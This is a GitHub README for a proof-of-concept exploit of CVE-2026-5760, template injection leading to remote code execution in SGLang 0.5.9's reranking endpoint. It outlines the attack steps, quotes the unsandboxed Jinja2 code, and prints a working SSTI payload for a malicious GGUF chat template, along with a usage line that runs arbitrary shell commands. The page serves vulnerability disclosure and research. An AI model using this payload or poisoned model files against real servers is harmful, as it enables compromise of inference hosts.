Skip to content

Stuub/SGLang-0.5.9-RCE

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

6 Commits
 
 
 
 

Repository files navigation

SGLang SSTI to RCE PoC — Unsandboxed Jinja2 Chat Template Rendering (CVE-2026-5760)

Remote Code Execution via Server-Side Template Injection (SSTI) in SGLang's reranking endpoint. A malicious GGUF model file with a crafted tokenizer.chat_template achieves arbitrary code execution when loaded into SGLang and the /v1/rerank endpoint is called.

Features

Taking leverage of a Critical Severity vulnerability in SGLang through unsandboxed Jinja2 template rendering. SGLang's reranking endpoint (/v1/rerank) renders model-supplied chat templates using jinja2.Environment() instead of ImmutableSandboxedEnvironment, allowing a malicious model to execute arbitrary Python code on the inference server.

This is the same vulnerability class as CVE-2024-34359 ("Llama Drama") which affected llama-cpp-python.

Step Through the Attack

  1. Attacker crafts a GGUF model file with a malicious tokenizer.chat_template containing a Jinja2 SSTI payload
  2. The template includes the Qwen3 reranker trigger phrase to activate the vulnerable code path in serving_rerank.py
  3. Victim downloads and loads the model in SGLang (e.g., from HuggingFace)
  4. When any request hits /v1/rerank, SGLang reads the chat_template and renders it with jinja2.Environment()no sandbox
  5. The SSTI payload executes arbitrary Python code on the server

Vulnerable Code

File: python/sglang/srt/entrypoints/openai/serving_rerank.py

# serving_rerank.py lines 128-132 — UNSANDBOXED
def _get_jinja_env():
    return jinja2.Environment(           # <-- Should be ImmutableSandboxedEnvironment
        loader=jinja2.BaseLoader(),
        autoescape=False,
        undefined=jinja2.Undefined,
    )

Usage

The PoC generates a malicious GGUF file and demonstrates code execution through SGLang's unsandboxed rendering path.

python3 exploit.py "id"

Pass any shell command as an argument — defaults to id.

SSTI Payload

The malicious chat template embedded in the GGUF file:

MALICIOUS_TEMPLATE = (
    'The answer can only be "yes" or "no".\n'
    '{{ lipsum.__globals__["os"].popen("echo SGLANG_RCE_CONFIRMED").read() }}'
    '{% for message in messages %}{{ message["content"] }}{% endfor %}'
)
  • The trigger phrase (The answer can only be "yes" or "no") is required to activate SGLang's Qwen3 reranker detection, routing the request through the vulnerable _render_jinja_chat_template() path.
  • lipsum.__globals__["os"].popen() escapes the Jinja2 context to execute arbitrary OS commands.

References

  • CVE-2026-5760
  • CVE-2024-34359 — Same vulnerability class in llama-cpp-python
  • CVE-2025-61620 — DoS in vLLM via chat templates (same attack surface)
  • SGLang GitHub
  • CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine
  • CWE-94: Improper Control of Generation of Code

Disclaimer

This tool is for authorized security research and educational purposes only. Use responsibly.

About

Proof of Concept exploitation of CVE-2026-5760 - RCE in SGLang 0.5.9 via malicious GGUF

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages